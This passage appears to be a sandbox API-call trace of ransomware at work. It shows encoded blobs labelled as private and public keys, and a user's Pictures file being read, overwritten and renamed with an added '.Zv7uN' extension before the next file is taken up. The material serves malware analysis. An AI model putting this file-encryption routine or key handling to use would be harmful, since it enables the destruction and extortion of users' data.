lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f56f3c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.994] GetCurrentThreadId () returned 0xa30 [0084.994] GetCurrentThreadId () returned 0xa30 [0084.994] GetCurrentThreadId () returned 0xa30 [0084.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f67f9c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.995] GetCurrentThreadId () returned 0xa30 [0084.995] GetCurrentThreadId () returned 0xa30 [0084.996] GetCurrentThreadId () returned 0xa30 [0084.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.996] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.996] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.996] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x142cf [0084.996] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.996] ReadFile (in: hFile=0x124, lpBuffer=0x1f6fda0, nNumberOfBytesToRead=0x142cf, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f6fda0*, lpNumberOfBytesRead=0x18f96c*=0x142cf, lpOverlapped=0x0) returned 1 [0085.000] CloseHandle (hObject=0x124) returned 1 [0085.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.007] WriteFile (in: hFile=0x124, lpBuffer=0x1f85dd0*, nNumberOfBytesToWrite=0x142cf, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f85dd0*, lpNumberOfBytesWritten=0x18f978*=0x142cf, lpOverlapped=0x0) returned 1 [0085.011] CloseHandle (hObject=0x124) returned 1 [0085.013] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg.zv7un")) returned 1 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] GetCurrentThreadId () returned 0xa30 [0085.014] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d00ab0, ftCreationTime.dwHighDateTime=0x1d5d8dd, ftLastAccessTime.dwLowDateTime=0x5af0baa0, ftLastAccessTime.dwHighDateTime=0x1d5e0a1, ftLastWriteTime.dwLowDateTime=0x5af0baa0, ftLastWriteTime.dwHighDateTime=0x1d5e0a1, nFileSizeHigh=0x0, nFileSizeLow=0x96fb, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="aFzddHE Qh9x.bmp", cAlternateFileName="AFZDDH~1.BMP")) returned 1 [0085.014] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.014] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.014] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d00ab0, ftCreationTime.dwHighDateTime=0x1d5d8dd, ftLastAccessTime.dwLowDateTime=0x5af0baa0, ftLastAccessTime.dwHighDateTime=0x1d5e0a1, ftLastWriteTime.dwLowDateTime=0x5af0baa0, ftLastWriteTime.dwHighDateTime=0x1d5e0a1, nFileSizeHigh=0x0, nFileSizeLow=0x96fb)) returned 1 [0085.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp")) returned 0x20 [0085.015] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp", dwFileAttributes=0x80) returned 1 [0085.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 